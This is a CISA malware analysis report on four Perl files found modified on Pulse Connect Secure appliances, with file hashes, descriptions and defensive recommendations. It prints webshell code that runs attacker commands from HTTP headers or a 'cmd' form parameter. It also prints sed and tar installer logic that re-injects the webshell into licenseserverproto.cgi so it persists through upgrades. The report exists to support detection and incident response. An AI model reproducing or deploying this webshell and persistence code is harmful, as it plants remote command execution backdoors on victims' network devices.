Analysis Report

MAR-10334587-1.v1: Pulse Connect Secure

Last Revised
Alert Code
AR21-202E

Summary

body#cma-body { font-family: Franklin Gothic Medium, Franklin Gothic, ITC Franklin Gothic, Arial, sans-serif; font-size: 15px; } table#cma-table { width: 900px; margin: 2px; table-layout: fixed; border-collapse: collapse; } div#cma-exercise { width: 900px; height: 30px; text-align: center; line-height: 30px; font-weight: bold; font-size: 18px; } div.cma-header { text-align: center; margin-bottom: 40px; } div.cma-footer { text-align: center; margin-top: 20px; } h2.cma-tlp { background-color: #000; color: #ffffff; width: 180px; height: 30px; text-align: center; line-height: 30px; font-weight: bold; font-size: 18px; float: right; } span.cma-fouo { line-height: 30px; font-weight: bold; font-size: 16px; } h3.cma-section-title { font-size: 18px; font-weight: bold; padding: 0 10px; margin-top: 10px; } h4.cma-object-title { font-size: 16px; font-weight: bold; margin-left: 20px; } h5.cma-data-title { padding: 3px 0 3px 10px; margin: 10px 0 0 20px; background-color: #e7eef4; font-size: 15px; } p.cma-text { margin: 5px 0 0 25px !important; word-wrap: break-word !important; } div.cma-section { border-bottom: 5px solid #aaa; margin: 5px 0; padding-bottom: 10px; } div.cma-avoid-page-break { page-break-inside: avoid; } div#cma-summary { page-break-after: always; } div#cma-faq { page-break-after: always; } table.cma-content { border-collapse: collapse; margin-left: 20px; } table.cma-hashes { table-layout: fixed; width: 880px; } table.cma-hashes td{ width: 780px; word-wrap: break-word; } .cma-left th { text-align: right; vertical-align: top; padding: 3px 8px 3px 20px; background-color: #f0f0f0; border-right: 1px solid #aaa; } .cma-left td { padding-left: 8px; } .cma-color-title th, .cma-color-list th, .cma-color-title-only th { text-align: left; padding: 3px 0 3px 20px; background-color: #f0f0f0; } .cma-color-title td, .cma-color-list td, .cma-color-title-only td { padding: 3px 20px; } .cma-color-title tr:nth-child(odd) { background-color: #f0f0f0; } .cma-color-list tr:nth-child(even) { background-color: #f0f0f0; } td.cma-relationship { max-width: 310px; word-wrap: break-word; } ul.cma-ul { margin: 5px 0 10px 0; } ul.cma-ul li { line-height: 20px; margin-bottom: 5px; word-wrap: break-word; } #cma-survey { font-weight: bold; font-style: italic; } div.cma-banner-container { position: relative; text-align: center; color: white; } img.cma-banner { max-width: 900px; height: auto; } img.cma-nccic-logo { max-height: 60px; width: auto; float: left; margin-top: -15px; } div.cma-report-name { position: absolute; bottom: 32px; left: 12px; font-size: 20px; } div.cma-report-number { position: absolute; bottom: 70px; right: 100px; font-size: 18px; } div.cma-report-date { position: absolute; bottom: 32px; right: 100px; font-size: 18px; } img.cma-thumbnail { max-height: 100px; width: auto; vertical-align: top; } img.cma-screenshot { margin: 10px 0 0 25px; max-width: 800px; height: auto; vertical-align: top; border: 1px solid #000; } div.cma-screenshot-text { margin: 10px 0 0 25px; } .cma-break-word { word-wrap: break-word; } .cma-tag { border-radius: 5px; padding: 1px 10px; margin-right: 10px; } .cma-tag-info { background: #f0f0f0; } .cma-tag-warning { background: #ffdead; }

Malware Analysis Report
10334587.r1.v1
2021-07-14

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

Four (4) files were submitted to CISA for analysis. The files consist of shell scripts designed to modify legitimate Pulse Secure Perl Common Gateway Interface (CGI) script files. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of IOCs, see: MAR-10334587-1.v1.WHITE.stix.

Submitted Files (4)

4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2 (compcheckjs.cgi)

6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767 (DSUpgrade.pm.current)

85dd35caf68e281b078530493559c6daf1b4ed84b55fad983a8319a397c9a1c9 (DSUpgrade.pm.rollback)

94e1a1262a01b8a343af1c98a190cd607bf6bde83656500ca0b28a5f97ccbe79 (licenseserverproto.cgi)

Findings

4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2

Tags

webshell

Details
Name compcheckjs.cgi
Size 2414 bytes
Type Perl script text executable
MD5 e3aae9d16b492a5c85cef8f63c68d2b1
SHA1 b0e273df5f62724732f795db2e8c51803355dafb
SHA256 4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2
SHA512 ff9995bba1791fb8af47fec3150a6eb4d3189677a13c108a9ab92f1c219c9bf872e69eb74e1c01b19ad5ebf329275e3aecf356eff553921f7c942d95c10fc9bb
ssdeep 48:EgtsLY+9hcMsufVIRLxtC93bZ+1Qg641ZmghbYuSqP7/O6DRuSIU+MI0R8exf7:EaqY+CgVIzQpboH/hVf7xuSInMjxz
Entropy 5.396338
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches
99 6d96963c87a6682b7b3a050d7a4a4a827e1a0e115f83b550b7b424a0f6a7f392
Description

This file is a Pulse Secure Perl CGI script that has been modified by a malicious actor. The modified CGI script file contains a webshell script designed to check for incoming web requests using the Hypertext Transfer Protocol (HTTP) POST method. If the requested data is found, the data will be verified against a hard-coded string value. If the values matches, it will Base64 decode the data (the input command (CMD)) and then decrypt it using Rivest Cipher 4 (RC4). The RC4 key to decrypt is sent in the environment variable "HTTP_X_CNT". The decrypted data will then be executed on the target system and the commands return value to the malicious actor will be RC4 encrypted and base64 encoded.



The POST data and the key were not available for analysis.



Displayed below is the code snippets used to check for incoming web requests and decrypt the requested data:



--Begin code snippets--

sub main {

   # just show the page

   my $request_method=$ENV{'REQUEST_METHOD'};

   if ($request_method eq "POST") {

       my $x_key = $ENV{'HTTP_X_KEY'};

       if ($x_key eq "<REDACTED>") {

           my $x_cmd = $ENV{'HTTP_X_CMD'};

           my $x_cnt = $ENV{'HTTP_X_CNT'};

           $x_cmd = MIME::Base64::decode($x_cmd);

           $x_cmd = RC4($x_cnt, $x_cmd);

           my $res;

           my $re=popen(*DUMP, $x_cmd, "r");

           while(<DUMP>){

               $res .= $_;

           }

           close(*DUMP);

           print "Content-type:text/html\n\n";

           print MIME::Base64::encode(RC4($x_cnt, $res));

           exit(0);

       }

       else {

           exit(0);

       }

--End code snippets --

6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767

Tags

webshell

Details
Name DSUpgrade.pm.current
Size 9791 bytes
Type Perl5 module source, ASCII text
MD5 4d5b410e1756072a701dfd3722951907
SHA1 cc68a9c5ff57129e8b897d228e54807841f8ff67
SHA256 6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767
SHA512 965b13b1a11c2b2472de1f491bb3fde1d96288fa204428b135281ae7928a5bafea5c244fdd1f47a96242861c94a4fa8d5f6664f543dec33cfc519faca044766d
ssdeep 192:eIB1XcTfXss+nBqXb+TSWbgXCiwWjoBTWFI4MhiirXHLwQBNaBiF3Ar8yXpayUM6:eIB1X1phiJ/irZNaBiF3CjCswmPyVoM
Entropy 5.235000
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a Pulse Secure Perl application that has been modified to add webshell script code into the content of the Pulse Secure Perl CGI script file "/root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi."



The script contains the following patched in commented out code:



—Begin Patched In Commented CGI Code—

###scriptstart

#/bin/mount -o remount,rw /dev/root /

#/bin/tar -xzf $innerarchive ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/tar -xzf $innerarchive ./root/home/perl/DSUpgrade.pm

#/bin/sed -i '/\#\#start_total/,/\#\#end_total/w 7CxA1p' outer-do-install

#/bin/sed -i '/DSINSTALL_CLEAN/r 7CxA1p' ./root/home/perl/DSUpgrade.pm

#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w GqTv3w' outer-do-install

#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w Vi6d8h4' outer-do-install

#/bin/sed -i '/^use DSUtilTable/r GqTv3w' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/sed -i '/^sub main/r Vi6d8h4' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/#//' ./root/home/perl/DSUpgrade.pm

#/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/^/#/' ./root/home/perl/DSUpgrade.pm

#/usr/bin/gzip -d $innerarchive

#/bin/tar -f /tmp/inside-package.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/tar -f /tmp/inside-package.tar -u ./root/home/perl/DSUpgrade.pm

#/bin/rm -f 7CxA1p

#/bin/rm -f GqTv3w

#/bin/rm -f Vi6d8h4

#/bin/rm -fr root

#/usr/bin/gzip -c /tmp/inside-package.tar > $innerarchive

###scriptend



###cgistart1

#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib";

#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib/MIME/Base64";

#use Crypt::RC4;

#use MIME::Base64 ();

#

#sub parse_parameters ($) {

# my %ret;

#

# my $input = shift;

#

# foreach my $pair (split('&', $input)) {

#    my ($var, $value) = split('=', $pair, 2);

#    

#    if($var) {

#     $value =~ s/\+/ /g ;

#     $value =~ s/%(..)/pack('c',hex($1))/eg;

#

#     $ret{$var} = $value;

#    }

# }

#

# return %ret;

#}

###cgiend1



###cgistart2

#    my $enckey='1234567';

#    my $data='1234567812345678';

#        my $cipher = RC4($enckey, $data);    

#        my $encode = MIME::Base64::encode($cipher);

#    my $psalLaunch = CGI::param("serverid");

#    if ($psalLaunch =~ /csJ1TA45JzB0WJrjA5X8dpVbXcrDMVfa/)

#    {

#    my ($cmd, %FORM);

#

#    $|=1;

#

#    print "Content-Type: text/html\r\n";

#    print "\r\n";

#    %FORM = parse_parameters($ENV{'QUERY_STRING'});

#

#    if(defined $FORM{'cmd'}) {

#     $cmd = $FORM{'cmd'};

#    }

#

#print '<HTML>

#<body>

#<form action="" method="GET">

#<input type="text" name="cmd" size=45 value="' . $cmd . '">

#<input type="text" name="serverid" size=45 value="csJ1TA45JzB0WJrjA5X8dpVbXcrDMVfa">

#<input type="submit" value="Run">

#</form>

#<pre>';

#

#if(defined $FORM{'cmd'}) {

# print "Results of '$cmd' execution:\n\n";

# print "-"x80;

# print "\n";

#

# print $encode;

# system $cmd;

# print "-"x80;

# print "\n";

#}

# print "</pre>";

# exit(0);

#    }

###cgiend2



##end_total

--End Patched In Commented CGI Code--



The Pulse Secure Perl script also contains the following suspicious live / uncommented code. This code is designed to modify several Pulse Secure system files using the SED command as well as attempt to install code from within an archive named new-pack.tgz expected to be currently stored on the target system.



--Begin Patched In Commented Code--

sub installPackage {

my ($clean, $console, $html) = @_;



$ENV{"DSINSTALL_CLEAN"} = $clean;



##start_total

##perlstart

system("/bin/mount -o remount,rw /dev/root /");

system("/bin/tar -xzf /tmp/new-pack.tgz ./installer/outer-do-install");

my $statushh = $? % 255;

if( $statushh != 0 )

{

       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/perl/DSUpgrade.pm");    

       system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w K872Bu' /home/perl/DSUpgrade.pm");

       system("/bin/sed -i '/DSINSTALL_CLEAN/r K872Bu' ./root/home/perl/DSUpgrade.pm");

       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w Mj1Za' /home/perl/DSUpgrade.pm");

       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w 1uMfVB' /home/perl/DSUpgrade.pm");

       system("/bin/sed -i '/^use DSUtilTable/r Mj1Za' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/sed -i '/^sub main/r 1uMfVB' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/usr/bin/gzip -d /tmp/new-pack.tgz");

       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/perl/DSUpgrade.pm");

       system("/bin/rm -f K872Bu");

       system("/bin/rm -f Mj1Za");

       system("/bin/rm -f 1uMfVB");    

       system("/bin/rm -fr root");

       system("rm -f /tmp/new-pack.tgz");

       system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");                                        

}

else{

system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w Nc3Gy.pm' /home/perl/DSUpgrade.pm");

system("/bin/sed -i '/packdecrypt/r Nc3Gy.pm' ./installer/outer-do-install");

system("/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/^/#/' ./installer/outer-do-install");

system("/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/#//' ./installer/outer-do-install");

system("/usr/bin/gzip -d /tmp/new-pack.tgz");

system("/bin/tar -f /tmp/new-pack.tar -u ./installer/outer-do-install");

system("rm -f Nc3Gy.pm");

system("rm -f /tmp/new-pack.tgz");

system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");

system("rm -fr installer");

}

--End Patched In Commented Code--



Analysis indicates this commented code is designed to present a web form to a remote operator, wherein the remote operator can enter commands that will be run locally on the target system. The commented code also has the capability to modify several Pulse Secure system files utilizing the SED command.

94e1a1262a01b8a343af1c98a190cd607bf6bde83656500ca0b28a5f97ccbe79

Tags

webshell

Details
Name licenseserverproto.cgi
Size 3385 bytes
Type Perl script text executable
MD5 266fba25469fd99ca7edecee1f64497d
SHA1 e8a04559649cc3d6a9ea36fb8f31d791d2a9f0dc
SHA256 94e1a1262a01b8a343af1c98a190cd607bf6bde83656500ca0b28a5f97ccbe79
SHA512 fb580aaecd07d14666da3a13302ea7c9a36a5ce180070c4ab88e27ebc9b6bfd9983b767ff1ed137746e3ae7daa41ab95165a0f1405cd8f91fc74a0f25332df16
ssdeep 48:E1LYmeAJAZo6HMeQT808inRbxUQjQk0BeWo7BuswT4o7oo7vpBBBQWBZ7zSH72BX:EJYkJAZnqpxUxHo0v/wO27YJ
Entropy 5.335160
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a Pulse Secure Perl CGI script that has been modified using the script in the file "DSUpgrade.pm" (6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767). The modified CGI script file contains a webshell script to check and parse incoming web requests data from a webshell. It will search, extract, and execute command (CMD) parameters passed by the attacker on the victim's system. It creates a form containing the extracted CMD to be executed and the parameter value "serverid". The output of every CMD executed on the victim's system will include an RC4 encrypted and Base64 encoded string: "TD3ru+SCIVQ+BB1m9YlwxA==" (which has a plaintext value of "1234567812345678"). The string "1234567812345678" is encrypted first using the RC4 key "1234567" before it is Base64 encoded. These strings are hard-coded into the script.

85dd35caf68e281b078530493559c6daf1b4ed84b55fad983a8319a397c9a1c9

Tags

webshell

Details
Name DSUpgrade.pm.rollback
Size 9795 bytes
Type Perl5 module source, ASCII text
MD5 0881290a982888eac6a9d663c9416f70
SHA1 b1a91c40690855358be81216c93a47ea5d753e5c
SHA256 85dd35caf68e281b078530493559c6daf1b4ed84b55fad983a8319a397c9a1c9
SHA512 c3fef9c7493ad00c2048559f6965825da10d378caf75c1bf60dc6ecd7177c7ceb7ba176fb88ac0aa2e347e12bedf3ca94c82956396a33b9c5872f48f62b449cc
ssdeep 192:eIB1XcTfXss+/BqXb+TSWbgXCiwWjoBTWFI4MhiirXHLwQBNaB4F3Ar8yXpayUM6:eIB1X1JhiJ/irZNaB4F3CjCswmPyVoM
Entropy 5.234230
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches
99 49a243e7a7cccf0f4242a00827ff2da27ca0e268f2673b3f3569ec92745ca0c5
91 64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7
97 6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767
96 f1d579b3e6d1c1223a88e79acf3469b0883ab61f757baf31718a137d871e872e
Description

This file is a Pulse Secure Perl application that has been modified to add webshell script code into the content of the Pulse Secure Perl CGI script file "/root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi."



The script contains the following patched in commented out code:



--Begin Patched In Commented CGI Code--

###scriptstart

#/bin/mount -o remount,rw /dev/root /

#/bin/tar -xzf $innerarchive ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/tar -xzf $innerarchive ./root/home/perl/DSUpgrade.pm

#/bin/sed -i '/\#\#start_total/,/\#\#end_total/w 7CxA1p' outer-do-install

#/bin/sed -i '/DSINSTALL_CLEAN/r 7CxA1p' ./root/home/perl/DSUpgrade.pm

#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w GqTv3w' outer-do-install

#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w Vi6d8h4' outer-do-install

#/bin/sed -i '/^use DSUtilTable/r GqTv3w' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/sed -i '/^sub main/r Vi6d8h4' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/#//' ./root/home/perl/DSUpgrade.pm

#/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/^/#/' ./root/home/perl/DSUpgrade.pm

#/usr/bin/gzip -d $innerarchive

#/bin/tar -f /tmp/inside-package.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi

#/bin/tar -f /tmp/inside-package.tar -u ./root/home/perl/DSUpgrade.pm

#/bin/rm -f 7CxA1p

#/bin/rm -f GqTv3w

#/bin/rm -f Vi6d8h4

#/bin/rm -fr root

#/usr/bin/gzip -c /tmp/inside-package.tar > $innerarchive

###scriptend

--End Patched In Commented CGI Code--



The Pulse Secure Perl script also contains the following suspicious live / uncommented code. This code is designed to modify several Pulse Secure system files using the SED command as well as attempt to install code from within an archive named new-pack.tgz expected to be currently stored on the target system.



--Begin Patched In Commented Code--

sub installPackage {

my ($clean, $console, $html) = @_;



$ENV{"DSINSTALL_CLEAN"} = $clean;



##start_total

##perlstart

system("/bin/mount -o remount,rw /dev/root /");

system("/bin/tar -xzf /tmp/new-pack.tgz ./installer/outer-do-install");

my $statushh = $? % 255;

if( $statushh != 0 )

{

       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/perl/DSUpgrade.pm");    

       system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w K872Bu' /home/perl/DSUpgrade.pm");

       system("/bin/sed -i '/DSINSTALL_CLEAN/r K872Bu' ./root/home/perl/DSUpgrade.pm");

       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w Mj1Za' /home/perl/DSUpgrade.pm");

       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w 1uMfVB' /home/perl/DSUpgrade.pm");

       system("/bin/sed -i '/^use DSUtilTable/r Mj1Za' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/sed -i '/^sub main/r 1uMfVB' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/usr/bin/gzip -d /tmp/new-pack.tgz");

       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");

       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/perl/DSUpgrade.pm");

       system("/bin/rm -f K872Bu");

       system("/bin/rm -f Mj1Za");

       system("/bin/rm -f 1uMfVB");    

       system("/bin/rm -fr root");

       system("rm -f /tmp/new-pack.tgz");

       system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");                                        

}

else{

system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w Nc3Gy.pm' /home/perl/DSUpgrade.pm");

system("/bin/sed -i '/packdecrypt/r Nc3Gy.pm' ./installer/outer-do-install");

system("/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/^/#/' ./installer/outer-do-install");

system("/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/#//' ./installer/outer-do-install");

system("/usr/bin/gzip -d /tmp/new-pack.tgz");

system("/bin/tar -f /tmp/new-pack.tar -u ./installer/outer-do-install");

system("rm -f Nc3Gy.pm");

system("rm -f /tmp/new-pack.tgz");

system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");

system("rm -fr installer");

}

--End Patched In Commented Code--



Analysis indicates this commented code is designed to present a web form to a remote operator, wherein the remote operator can enter commands that will be run locally on the target system. The commented code also has the capability to modify several Pulse Secure system files utilizing the SED command.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Central.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

July 21, 2021: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.